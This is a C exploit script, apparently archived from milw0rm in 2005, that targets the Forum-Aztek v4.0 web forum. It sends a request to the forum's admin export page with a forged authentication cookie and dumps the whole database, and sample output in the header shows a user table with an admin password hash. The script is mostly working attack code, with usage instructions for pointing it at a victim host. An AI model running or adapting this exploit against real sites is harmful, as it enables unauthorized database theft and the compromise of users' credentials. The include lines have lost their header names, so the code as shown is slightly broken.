/* Changed line 81 - Tested and working /str0ke */ /* * LOTFREE Team presents : * Forum-Aztek v4.0 (4nd pr0b4bly inf3ri0r) Database Dump Xpl0it * 0day dUd3 X-) * * ./aztek-sploit 127.0.0.1 admin forum * HTTP/1.1 200 OK * Date: Sat, 05 Mar 2005 22:18:13 GMT * Server: Apache/2.0.50 (Ubuntu) PHP/4.3.8 * X-Powered-By: PHP/4.3.8 * Set-Cookie: ATK_ADMIN= * Expires: Sat, 05 Mar 2005 22:18:13 GMT * Content-Disposition: attachment; filename="backup-admin-2005-5-03-23-18-13.sql" * Connection: close * Transfer-Encoding: chunked * Content-Type: application/force-download * * (...) * INSERT INTO atk_users VALUES ('admin','admin','atm5zzHCTXNkc',0,'',0,0,0,'','',0,0,'','',1109861125,63,'0','','','','','',0,0,''); * password in DES ---+^^^^^^^^^^^^^ * (...) * sw333333t ! * http://lotfree.next-touch.com */ #include #include #include #include #include #include #include #include #include #include #define REQ1 "/myadmin.php?action=export_index&login=" #define REQ2 " HTTP/1.1\nHost: " #define REQ3 "\nCookie: ATK_ADMIN=blah; ATK_LOGIN=" #define REQ4 "\nConnection: close\n\n" unsigned long resolve (char *host) { struct in_addr in; struct hostent *he; if((in.s_addr=inet_addr(host))==-1) { if((he=(struct hostent*)gethostbyname(host))==NULL) { herror("Resolving victim host"); exit(1); } memcpy((caddr_t)&in, he->h_addr, he->h_length); } return(in.s_addr); } int main(int argc,char *argv[]) { int sock; struct sockaddr_in sin; char c; if(argc!=4) { printf("[*]--------------------------------[*]\n"); printf(" | Aztek-Forum Database Dump Xploit |\n"); printf(" | sirius_black // LOTFREE Team |\n"); printf("[*]--------------------------------[*]\n\n"); printf("Usage: %s \n\n",argv[0]); printf("Exemple: %s www.tictactoe.com admin forum > database.sql\n\n",argv[0]); exit(1); } if((sock=socket(PF_INET,SOCK_STREAM,0))==-1) { perror("socket"); exit(1); } sin.sin_family=AF_INET; sin.sin_port=htons(80); sin.sin_addr.s_addr=resolve(argv[1]);// sin.sin_addr.s_addr=resolve("127.0.0.1"); if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) { perror("connect"); exit(1); } send(sock,"GET /",5,0); send(sock,argv[3],strlen(argv[3]),0); send(sock,REQ1,sizeof(REQ1)-1,0); send(sock,argv[2],strlen(argv[2]),0); send(sock,REQ2,sizeof(REQ2)-1,0); send(sock,argv[1],strlen(argv[1]),0); send(sock,REQ3,sizeof(REQ3)-1,0); send(sock,argv[2],strlen(argv[2]),0); send(sock,REQ4,sizeof(REQ4)-1,0); while((recv(sock,&c,1,0))==1) { putchar(c); } close(sock); return 0; } // milw0rm.com [2005-03-07]